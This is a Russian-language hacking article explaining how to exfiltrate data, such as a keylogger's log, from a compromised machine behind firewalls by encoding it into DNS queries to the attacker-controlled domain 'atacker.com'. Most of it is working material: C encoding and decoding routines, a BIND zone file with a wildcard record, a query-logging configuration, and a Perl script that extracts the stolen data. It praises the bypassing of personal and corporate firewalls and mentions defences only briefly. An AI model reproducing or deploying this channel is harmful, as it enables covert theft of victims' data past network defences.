Часто возникает ситуация, когда мы имеем возможность запустить на уязвимой
машине нужное ПО, но ввиду того, что она защищена персональным, либо находится
за корпоративным firewall'ом, не имеем возможности организовать обмен данными
между ею и нашей системой-сервером.
В данном случае рассматривается один из
множества способов организации обмена данными, к примеру, отправки кейлога
системы-клиента на заданный нами сервер, с использованием инкапсуляции их в
запросы к подконтрольному нам DNS серверу.
Не буду вдаваться в подробности работы DNS протокола, кому нужно будет,
ознакомится с RFC, скажу лишь, что DNS сервера могут выдавать данные о своей
зоне, а также осуществлять поиск в пространстве имен, для которых они не
являются полномочными с использованием корневых серверов. Именно этой
возможностью DNS протокола мы и воспользуемся.
Итак, основная идея состоит в том, чтобы создать рекурсивный запрос, в
данном случае, к домену третьего уровня, нашего домена atacker.com, в котором,
в кодированном виде передать заданные данные. Максимальная длина передаваемых в
одном пакете данных составляет 255-(длина маркера)-(длина atacker.com)-2. Чтобы
иметь возможность отличить полезные запросы от "чужих", введем
маркер, с которого будет начинаться имя домена третьего уровня, содержащего
данные. На стороне сервера включим логирование всех запросов и будем
раскодировать их по мере поступления.
Метод кодирования/декодирования был заимствован из утилиты
NSTX(http://nstx.dereference.de/) и представляет собой кодирование по таблице
символов, разрешенных к использованию в доменных именах, согласно RFC. Код
приведен ниже:
unsigned char domain[] = ".atacker.com";
unsigned char map[] =
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_1234567890";
unsigned char *revmap = NULL;
void init_revmap (void)
{
int i;
revmap = malloc(256);
for (i = 0; i < strlen(map); i++)
revmap[map[i]] = i;
}
unsigned char *str_encode(unsigned char *data, int len) {
int i = 0, off = 1, cut = 0;
static unsigned char *buf = NULL;
if (len % 3)
cut = 3 - len%3;
buf = realloc(buf, ((len+2)/3)*4+2);
buf[0] = map[cut];
while (i < len) {
buf[off + 0] = map[(data[i] & 252) >> 2];
buf[off + 1] = map[((data[i] & 3) << 4) | ((data[i+1] & 240) >> 4)];
buf[off + 2] = map[((data[i+1] & 15) << 2 ) | ((data[i+2] & 192) >> 6)];
buf[off + 3] = map[(data[i+2] & 63)];
i += 3;
off += 4;
}
buf[off] = '\0';
return buf;
}
unsigned char *str_decode(unsigned char *data, int *rlen) {
int i = 0, off = 1;
int len;
static unsigned char *buf = NULL;
if (!revmap)
init_revmap();
len = strlen(data)-1;
buf = realloc(buf, ((len+3)/4)*3);
while (off < len) {
buf[i+0] = (revmap[data[off]]<<2)|((revmap[data[off+1]]&48)>>4);
buf[i+1] = ((revmap[data[off+1]]&15)<<4)|((revmap[data[off+2]]&60)>>2);
buf[i+2] = ((revmap[data[off+2]]&3)<<6)|(revmap[data[off+3]]);
i += 3;
off += 4;
}
*rlen = i - revmap[data[0]];
return buf;
}
На стороне сервера создается widcard A запись для зоны
atacker.com следующего вида:
$TTL 21600 ; 6H
@ 1D IN SOA ns1.atacker.com. hostmaster.atacker.com. (
2004120605 ;serial
1H ;refresh
15M ;retry
2W ;expire
1H) ;minimum TTL of 1 hour
IN NS ns1.atacker.com.
IN NS ns2.atacker.com.
IN A XXX.XXX.XXX.XXX
; IN HINFO "Pentium 4" "FreeBSD"
ns1 IN A XXX.XXX.XXX.XXX
ns2 IN A XXX.XXX.XXX.XXX
* IN A 127.0.0.1
А также включается логирование всех входящих DNS запросов,
путем добавления следющего код в секцию logging:
channel queries_ch {
file "/var/log/named/queries.log";
severity info;
print-time no;
print-category no;
};
category queries { queries_ch; };
Для получения чистых данных на стороне сервера используем следующий код:
#!/usr/bin/perl
my $MARKER = "z0101";
while($str = <STDIN>)
{
if(($str =~ s/^XX\+(.*)\/A\/IN$/$1/)) {
my @arr = split('/',$str);
my @rarr = split(/\./,$arr[2]);
if($rarr[0] =~ s/^$MARKER//) {
system("./decode $rarr[0]");
}
}
}
# cat /var/log/named/queries.log | pl.pl
Примеры кода(C/Perl) можно скачать в приложении к статье.
Итак, столь не хитрым образом получили скрытый канал передачи данных с
системы-клиента, на заданный сервер. В дальнейшем, данный метод можно
усовершенствовать, добавив возможности передачи файлов, а также, двухстороннего
обмена данными между системами, попробовать скрыть реальные DNS сервера.
Преимущества данного метода:
Обход большинства персональных
firewall'ов(Outpost Firewall,Windows Firewall)
Обход межсетевых экранов
Практически real-time передача данных от клиента серверу
Не требует прямого соединения с системой-сервером
Использование дефолтных DNS серверов системы-клиента, которые обычно разрешают
рекурсивные DNS запросы из "своей" сети
Не требует установки специального DNS демона, либо правки
существующих(использует BIND в примере)
Недостатки:
Требует наличия 2х подконтрольных
DNS серверов
Зависим от DNS registry provider'a, а следовательно, достаточно уязвимы сервера
атакующего
Основные методы защиты от атак данного типа:
Систематический анализ логов
корпоративного DNS сервера
Более тщательная настройка персонального firewall'а
Использованная литература:
Служба
доменных имен (Domain Name System), Г.В. Ключников, grn@ispras.ru , 1999
NSTX
sources
RxBot sources
man named
|